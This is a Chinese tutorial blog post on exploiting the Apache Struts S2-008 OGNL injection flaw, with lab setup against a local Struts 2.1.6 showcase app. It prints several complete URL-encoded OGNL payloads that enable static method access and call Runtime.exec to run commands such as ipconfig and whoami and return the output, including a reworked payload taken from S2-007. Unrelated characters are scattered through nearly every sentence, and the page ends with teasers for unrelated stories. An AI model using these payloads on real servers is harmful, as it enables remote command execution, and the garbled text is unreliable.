Struts-S2-008漏洞利用竟闪,解決網(wǎng)上大部分POC部分命令執(zhí)行不完全問題(含POC,含環(huán)境搭建)

struts-s2-008

此文僅供大家交流學(xué)習(xí)爽冕,嚴(yán)禁非法使用

解決網(wǎng)上大部分POC部分命令不能執(zhí)行的問題

一、參考網(wǎng)址:

https://www.waitalone.cn/struts2-command-exp.html

http://www.freebuf.com/articles/web/25337.html

二垦藏、 影響版本:

Struts 2.1.0 - Struts 2.3.1

三梆暖、 漏洞介紹:

為了防止攻擊者在參數(shù)中調(diào)用任意方法,標(biāo)志xwork.MethodAccessor.denyMethodExecution被設(shè)置為true掂骏,并且SecurityMemberAccess字段默認(rèn)allowStaticMethodAccess設(shè)置為false轰驳。另外,為了防止對上下文變量的訪問芭挽,在ParameterInterceptorStruts 2.2.1.1中應(yīng)用了改進(jìn)的參數(shù)名稱白名單:

acceptedParamNames = "[a-zA-Z0-9.][()_']+";

在某些情況下滑废,可以繞過這些限制來執(zhí)行惡意Java代碼。

Struts****中的遠(yuǎn)程命令執(zhí)行****<= 2.2.1.1****(****ExceptionDelegator****)
當(dāng)將參數(shù)值應(yīng)用于屬性時發(fā)生異常時袜爪,該值將被評估為OGNL表達(dá)式蠕趁。例如,當(dāng)將字符串值設(shè)置為整數(shù)屬性時辛馆,會發(fā)生這種情況俺陋。由于這些值不被過濾豁延,攻擊者可能會濫用OGNL語言的強(qiáng)大功能來執(zhí)行任意Java代碼,從而導(dǎo)致遠(yuǎn)程命令執(zhí)行腊状。已報告此問題(https://issues.apache.org/jira/browse/WW-3668)诱咏,并在Struts 2.2.3.1中修復(fù)。然而缴挖,執(zhí)行任意Java代碼的能力已被忽視袋狞。

Struts****中的遠(yuǎn)程命令執(zhí)行****<= 2.3.1****(****CookieInterceptor****)
參數(shù)名稱的字符白名單不適用于CookieInterceptor。當(dāng)Struts配置為處理cookie名稱時映屋,攻擊者可以使用靜態(tài)方法訪問Java函數(shù)來執(zhí)行任意系統(tǒng)命令苟鸯。因此,allowStaticMethodAccess可以在請求中將該標(biāo)志設(shè)置為true棚点。

Struts****中的任意文件覆蓋****<= 2.3.1****(****ParameterInterceptor****)由于Struts 2.2.3.1攻擊者仍然可以訪問公共構(gòu)造函數(shù)早处,只能使用一個String類型的參數(shù)來創(chuàng)建新的Java對象并僅使用其設(shè)置器訪問參數(shù)中
的標(biāo)志allowStaticMethodAccessString類型的一個參數(shù)。例如瘫析,這可以被濫用來創(chuàng)建和覆蓋任意文件砌梆。要將禁止的字符注入文件名,可以使用未初始化的字符串屬性贬循。

Struts****中的遠(yuǎn)程命令執(zhí)行****<= 2.3.1****(****DebuggingInterceptor****)
雖然本身不??是安全漏洞咸包,但請注意,以開發(fā)人員模式運行并使用的應(yīng)用程序DebuggingInterceptor也易于執(zhí)行遠(yuǎn)程命令甘有。盡管應(yīng)用程序在生產(chǎn)過程中永遠(yuǎn)不應(yīng)該在開發(fā)人員模式下運行诉儒,但開發(fā)人員應(yīng)該意識到,這樣做不僅會帶來性能問題(如記錄在案)亏掀,而且也是關(guān)鍵的安全影響忱反。

即S2-007,參考上一篇文檔

ookiename沒有做特殊字符的限制,會被當(dāng)作ognl代碼執(zhí)行滤愕。不過java的webserver(tomcat等)在cookiename中禁掉了很多非主流字符温算,該漏洞局限性較大,危害較小间影。

對于(1)(2)這樣的ongl表達(dá)式注竿,ongl會把1當(dāng)作一個ongl表達(dá)式先執(zhí)行。對于url參數(shù)user=(1)(2)魂贬,struts2只對user參數(shù)做了過濾巩割,并沒有限制參數(shù)值,從而導(dǎo)致漏洞的產(chǎn)生付燥,此種利用方法在S2-009中提出宣谈,S2-008中只提出了二進(jìn)制文件覆蓋的方法。

struts2配置中開啟debug調(diào)試模式键科,直接傳入ongl表達(dá)式執(zhí)行闻丑。

命令執(zhí)行EXP:exp.action?debug=command&expression=…

四漩怎、 環(huán)境搭建:

  • 下載/struts/2.1.6

下載地址:http://archive.apache.org/dist/struts/binaries/struts-2.1.6-apps.zip

  • 下載安裝xampp

  • 部署showcase

  • 解壓

2.1.6_1.png

2.1.6_2.png
  • 復(fù)制到.
2.1.6_3.png
  • 重啟tomcat
2.1.6_4.png
  • 已成功自動部署
2.1.6_5.png

五、打開struts.xml

devmode.png

保證<constant name="struts.devMode" value="true" />

六嗦嗡、POC

3的POC

exp.action?name=(%23context["xwork.MethodAccessor.denyMethodExecution"]=+new+java.lang.Boolean(false),+%23_memberAccess["allowStaticMethodAccess"]=true,+%23a=@java.lang.Runtime@getRuntime().exec('ipconfig').getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)('meh')]

但并不知道該如何使用
希望大家能指導(dǎo)指導(dǎo)

4的POC

debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

七勋锤、原始網(wǎng)址為

http://127.0.0.1:8080/struts2-showcase-2.1.6/home.action

八、更改后為

http://127.0.0.1:8080/struts2-showcase-2.1.6/home.action?debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d%23context.get%28%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22%29.getWriter%28%29%2c%23genxor.println%28%23d%29%2c%23genxor.flush%28%29%2c%23genxor.close%28%29

出現(xiàn)下載框


1.png

使用notepad++打開看到


2.png

九侥祭、發(fā)現(xiàn)問題并修改

但發(fā)現(xiàn)一個問題叁执,在運行時ipconfig時只出現(xiàn)windows ip,沒有后面的實質(zhì)性內(nèi)容卑硫,測試過各種方法不能奏效徒恋,網(wǎng)上大部分poc相同蚕断,束手無策之時想到最近寫struts2漏洞的poc大致相同欢伏,又考慮到此漏洞commond直接就可以執(zhí)行,于是我將S2-007的POC搬了過來亿乳,奇跡發(fā)生了

原網(wǎng)址:

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action

添加構(gòu)造

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?debug=command&expression=

添加S2-007的POC

http://127.0.0.1:8080/struts2-showcase-2.1.6/showcase.action?debug=command&expression=(%23_memberAccess.allowStaticMethodAccess=true,%23context["xwork.MethodAccessor.denyMethodExecution"]=false,%23cmd="ipconfig",%23ret=@java.lang.Runtime@getRuntime().exec(%23cmd),%23data=new+java.io.DataInputStream(%23ret.getInputStream()),%23res=new+byte[1000],%23data.readFully(%23res),%23echo=new+java.lang.String(%23res),%23out=@org.apache.struts2.ServletActionContext@getResponse(),%23out.getWriter().println(%23echo))

執(zhí)行結(jié)果


3.png

注意修改res大小硝拧,詳情參照我的S2-007教程

成功執(zhí)行

十、至此葛假,這個漏洞基本利用完畢障陶。

本人還是一個未畢業(yè)的小萌新,希望大家多多幫助聊训,有問題請發(fā)送郵件到xrzsupupup@163.com不勝感激抱究,我也會盡量去幫助大家

堅決做一名白帽子

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市带斑,隨后出現(xiàn)的幾起案子鼓寺,更是在濱河造成了極大的恐慌,老刑警劉巖勋磕,帶你破解...
    沈念sama閱讀 217,509評論 6 504
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件妈候,死亡現(xiàn)場離奇詭異,居然都是意外死亡挂滓,警方通過查閱死者的電腦和手機(jī)苦银,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,806評論 3 394
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來赶站,“玉大人幔虏,你說我怎么就攤上這事”创唬” “怎么了想括?”我有些...
    開封第一講書人閱讀 163,875評論 0 354
  • 文/不壞的土叔 我叫張陵,是天一觀的道長团秽。 經(jīng)常有香客問我主胧,道長叭首,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 58,441評論 1 293
  • 正文 為了忘掉前任踪栋,我火速辦了婚禮焙格,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘夷都。我一直安慰自己眷唉,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 67,488評論 6 392
  • 文/花漫 我一把揭開白布囤官。 她就那樣靜靜地躺著冬阳,像睡著了一般。 火紅的嫁衣襯著肌膚如雪党饮。 梳的紋絲不亂的頭發(fā)上肝陪,一...
    開封第一講書人閱讀 51,365評論 1 302
  • 那天,我揣著相機(jī)與錄音刑顺,去河邊找鬼氯窍。 笑死,一個胖子當(dāng)著我的面吹牛蹲堂,可吹牛的內(nèi)容都是我干的狼讨。 我是一名探鬼主播,決...
    沈念sama閱讀 40,190評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼柒竞,長吁一口氣:“原來是場噩夢啊……” “哼政供!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起朽基,我...
    開封第一講書人閱讀 39,062評論 0 276
  • 序言:老撾萬榮一對情侶失蹤布隔,失蹤者是張志新(化名)和其女友劉穎,沒想到半個月后踩晶,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體执泰,經(jīng)...
    沈念sama閱讀 45,500評論 1 314
  • 正文 獨居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,706評論 3 335
  • 正文 我和宋清朗相戀三年渡蜻,在試婚紗的時候發(fā)現(xiàn)自己被綠了术吝。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 39,834評論 1 347
  • 序言:一個原本活蹦亂跳的男人離奇死亡茸苇,死狀恐怖排苍,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情学密,我是刑警寧澤淘衙,帶...
    沈念sama閱讀 35,559評論 5 345
  • 正文 年R本政府宣布,位于F島的核電站腻暮,受9級特大地震影響彤守,放射性物質(zhì)發(fā)生泄漏毯侦。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 41,167評論 3 328
  • 文/蒙蒙 一具垫、第九天 我趴在偏房一處隱蔽的房頂上張望侈离。 院中可真熱鬧,春花似錦筝蚕、人聲如沸卦碾。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,779評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽洲胖。三九已至,卻和暖如春坯沪,著一層夾襖步出監(jiān)牢的瞬間绿映,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,912評論 1 269
  • 我被黑心中介騙來泰國打工屏箍, 沒想到剛下飛機(jī)就差點兒被人妖公主榨干…… 1. 我叫王不留绘梦,地道東北人。 一個月前我還...
    沈念sama閱讀 47,958評論 2 370
  • 正文 我出身青樓赴魁,卻偏偏與公主長得像,于是被迫代替她去往敵國和親钝诚。 傳聞我的和親對象是個殘疾皇子颖御,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 44,779評論 2 354

推薦閱讀更多精彩內(nèi)容